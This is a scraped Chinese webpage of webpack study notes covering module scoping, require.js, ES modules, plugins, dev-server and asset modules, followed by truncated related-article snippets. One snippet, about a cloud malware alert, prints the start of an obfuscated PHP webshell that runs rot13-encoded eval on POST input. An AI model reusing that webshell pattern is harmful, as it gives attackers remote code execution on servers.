Webpack学习笔记(1)

news2024/12/24 3:03:08

1.为什么使用webpack?

webpack不仅可以打包js代码,并且那个且支持es模块化和commonjs,支持其他静态资源打包,如图片、字体。。。

2.如何解决作用域问题?

作用域问题:例如loadsh等库,会绑定window对象,会使得window臃肿。

grunt和gulp是最早使用的任务执行器,是将所有的项目文件拼接在一起(IIFE),从而解决了大型作用域问题。

当函数变成了一个立即调用的表达式时,表达式中的变量不能够在外部访问,不会污染window,解决了作用域问题。

如果部分暴露,部分不暴露,我们可以这样解决 

3.如何解决代码拆分问题?

问题:如果处理一个大的文件,用户需等待一段时间才可以加载成功(白屏)。

解决:node.js模块化处理。

common.js:浏览器不支持模块化

暴露方法:

引用(开箱即用):

4.如何让浏览器支持模块?

解决:使用require.js

define定义依赖和真正暴露:没有依赖前面为【】

如何加载文件:(在index.html使用script标签加载,data-main='入口文件路径')

入口文件访问文件:访问目录点(位置)还在index.html

解决:ESMAScript模块化<script type='module>

暴露:export default xxx

引入:import 名字 from '路径'

出现跨域问题:npx http-server

npx:当某个模块不存在时,从互联网帮忙安装一个模块

5.webpack,parcel,rollup,vite

6.安装运行webpack

npm i webpack webpack-cli

npx webpack

7.插件是什么?

创建webpack.config.js,命名不可以改变。

使用插件时,先安装所需插件,然后定义常量例如下图的const HtmlWebpackPlugin=require('html-webpack-plugin'),其中require是引用插件,插件需要在plugins中实例化一下,即下图的new HtmlWebpackPlugin({}).

引入了一个创建html文件的插件HtmlWebpackPlugin

8.搭建开发环境

开发模式:

npx webpack --watch 监听但手动刷新

安装webpack-dev-server,热模块更新。

npx webpack-dev-server --open,自动打开

配置dev-server,当前服务的根目录

9.资源模块介绍

asset Moudle 允许使用webpack打包其他资源文件

1.asset/resource:发送一个单独文件并导出url;

2.asset/inline:导出一个资源的dataurl;

3.asset/source:导出资源的源代码;

4.asset:通用资源类型,在导出dataurl和单独文件之间选择一个导出。

webpack.config.js中设置module属性:

上图使用asset/resource打包.png后缀的文件;使用asset/inline打包.svg后缀的文件;使用asset/source打包.txt后缀的文件;使用asset打包.jpg后缀的文件,在使用asset时可以自定义资源界限,默认是小于8kb会被视为inline模型,反之是resource模型。

在output中设置也是自定义文件名和路径优先级低于在generator设置。

index.js:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

信息安全管理与评估赛题第9套

全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 赛题九 模块一 网络平台搭建与设备安全防护 1 赛项时间 共计180分钟。 2 赛项信息 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第一阶段 网络平台搭建与设备安全防护 任务1 网络平台搭建 XX:XX- XX:XX 50 任务2…

thinkphp5验证码captcha无法显示

排查思路 是否开启gd2以及gd2排查bom排查代码清除缓存 开启gd/gd2 找到php.ini 开启dg2库 去掉前面的;注释&#xff0c;有的可能会带.dll后缀影响不大 然后通过生成图片验证是否成功 查看是否存在bom 修改为utf-8即可&#xff0c;如果你的代码携带bom也需要排查一下 代码问…

90度Floating B to B 高速连接器信号完整性仿真

在180度 B to B Connector 信号完整性仿真时&#xff0c;不会碰到端口设置不方便问题&#xff0c;但在做90度B to B Connector信号完整性仿真时就会碰到端口设置问题。如下面的90度B to B Connector。 公座 母座 公母对插后如下&#xff1a; 客户要求改Connector需符合PCI-E3.…

ffmpeg翻页转场动效的安装及使用

文章目录 前言一、背景二、选型分析2.1 ffmpeg自带的xfade滤镜2.2 ffmpeg使用GL Transition库2.3 xfade-easing项目三、安装3.1、安装依赖([参考](https://trac.ffmpeg.org/wiki/CompilationGuide/macOS#InstallingdependencieswithHomebrew))3.2、获取ffmpeg源码3.3、融合xf…

用人话讲计算机:Python篇!(十五)迭代器、生成器、装饰器

一、迭代器 &#xff08;1&#xff09;定义 标准解释&#xff1a;迭代器是 Python 中实现了迭代协议的对象&#xff0c;即提供__iter__()和 __next__()方法&#xff0c;任何实现了这两个方法的对象都可以被称为迭代器。 所谓__iter__()&#xff0c;即返回迭代器自身 所谓__…

【计算机视觉基础CV-图像分类】02-入门详解图像分类、经典数据集、比赛与冠军图像模型演进史

前言 图像分类&#xff08;Image Classification&#xff09;是计算机视觉&#xff08;Computer Vision&#xff09;中一项基础且核心的任务。简单来说&#xff0c;就是让计算机从给定的类别集合中&#xff0c;为一张输入图片分配一个正确的类别标签。这个过程听起来直观&…

Docker_常用命令详解

这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说&#xff1a;Docker通过提供轻量级、隔离且可移植的容器化环境&#xff0c;使得应用在不同平台上保持一致性、易于部署和管理&#xff0c;具体如下 环境一致性&#xff1a; Docker容器使得…

CFA知识点梳理系列:CFA Level II, Reading 4 Big Data Projects

这是CFA知识点梳理系列的第四篇文章&#xff0c;前面的文章可以参考以下链接: CFA知识点梳理系列&#xff1a;CFA Level II, Reading 3 Machine Learning

自制数据库迁移工具-C版-06-HappySunshineV1.5-(支持南大Gbase8a、PostgreSQL、达梦DM)

目录 一、环境信息 二、简述 三、架构图 四、升级点 五、支持功能 六、后续计划支持功能 七、安装包下载地址 八、配置参数介绍 九、安装步骤 1、用户创建 2、安装包解压 3、环境变量配置 4、环境变量生效 5、动态库链接检验 &#xff08;1&#xff09;HsManage…

petalinux-adi ---移植adi内核(一)

1. 设备树生成 将 前 面 生 成 的 设 备 树 文 件 ( 笔 者 这 里 生 成 的 设 备 树 文 件 在Petalinux 工 程 的components/plnx_workspace/device-tree/device-tree/ 目 录 下 ) pcw.dtsi 、 pl.dtsi 、system-top.dts 以 及 zynq-7000.dtsi 四 个 文 件 直 接 拷 贝 到 内 …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

Tool之Excalidraw:Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略

Tool之Excalidraw&#xff1a;Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略 目录 Excalidraw 简介 1、Excalidraw 的主要特点&#xff1a; Excalidraw 安装和使用方法 1、Excalidraw的安装 T1、使用 npm 安装&#xff1a; T2、使用 …

LLMs之rStar:《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读

LLMs之rStar&#xff1a;《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读 导读&#xff1a;这篇论文提出了一种名为rStar的自我博弈互推理方法&#xff0c;用于增强小型语言模型 (SLMs) 的推理能力&#xff0c;无需微调或依赖更强大的模型。rStar…

Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击 重入攻击&#xff08;Re-Entrancy&#xff09; 一直是以太坊智能合约中最危险的漏洞之一&#xff0c;导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击&#xff0c;造成价值当时 6000 万美元的以太币被盗&#xff0c;…

基于koa服务端脚手架搭建(文件加载器) --【elpis全栈项目笔记】

基于koa服务端脚手架(文件加载器) --【elpis-core】 前言&#xff1a; elpis-core 是一个项目文件加载器。基于一定的约定&#xff0c;将功能不同的代码分类放置到不同的目录下管理。适用于项目代码规范化、减少维护成本、沟通成本&#xff0c;易于扩展。&#xff08;简易版的 …

AQS源码学习

一、park/unpark阻塞唤醒线程 LockSupport是JDK中用来实现线程阻塞和唤醒的工具。使用它可以在任何场合使线程阻塞&#xff0c;可以指定任何线程进行唤醒&#xff0c;并且不用担心阻塞和唤醒操作的顺序&#xff0c;但要注意连续多次唤醒的效果和一次唤醒是一样的。JDK并发包下…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

02-1:python入门基础Python变量与数据类型

一、Python 变量的定义 &#xff08;一&#xff09;定义方式 在 Python 中&#xff0c;变量的定义是通过赋值来实现的&#xff0c;其语法格式非常简洁直观&#xff0c;基本形式为 “变量名 值”。等号左边是你自定义的变量名&#xff0c;右边则是要赋给该变量的值。Python 是…

在Vue3中实现文件上传功能,结合后端API

随着现代Web应用程序的不断发展&#xff0c;文件上传成为了用户交互中不可或缺的一部分。在本篇博客中&#xff0c;我们将深入讨论如何在Vue3中实现一个文件上传功能&#xff0c;并与后端API进行交互。我们将使用Vue3的Composition API&#xff08;setup语法糖&#xff09;来构…

详细ECharts图例3添加鼠标单击事件的柱状图

<!DOCTYPE html><html><head><meta charset"UTF-8"><script src"js/echarts.js"></script> <!-- 确保路径正确 --><title>添加鼠标单击事件的柱状图</title></head><body><div id&q…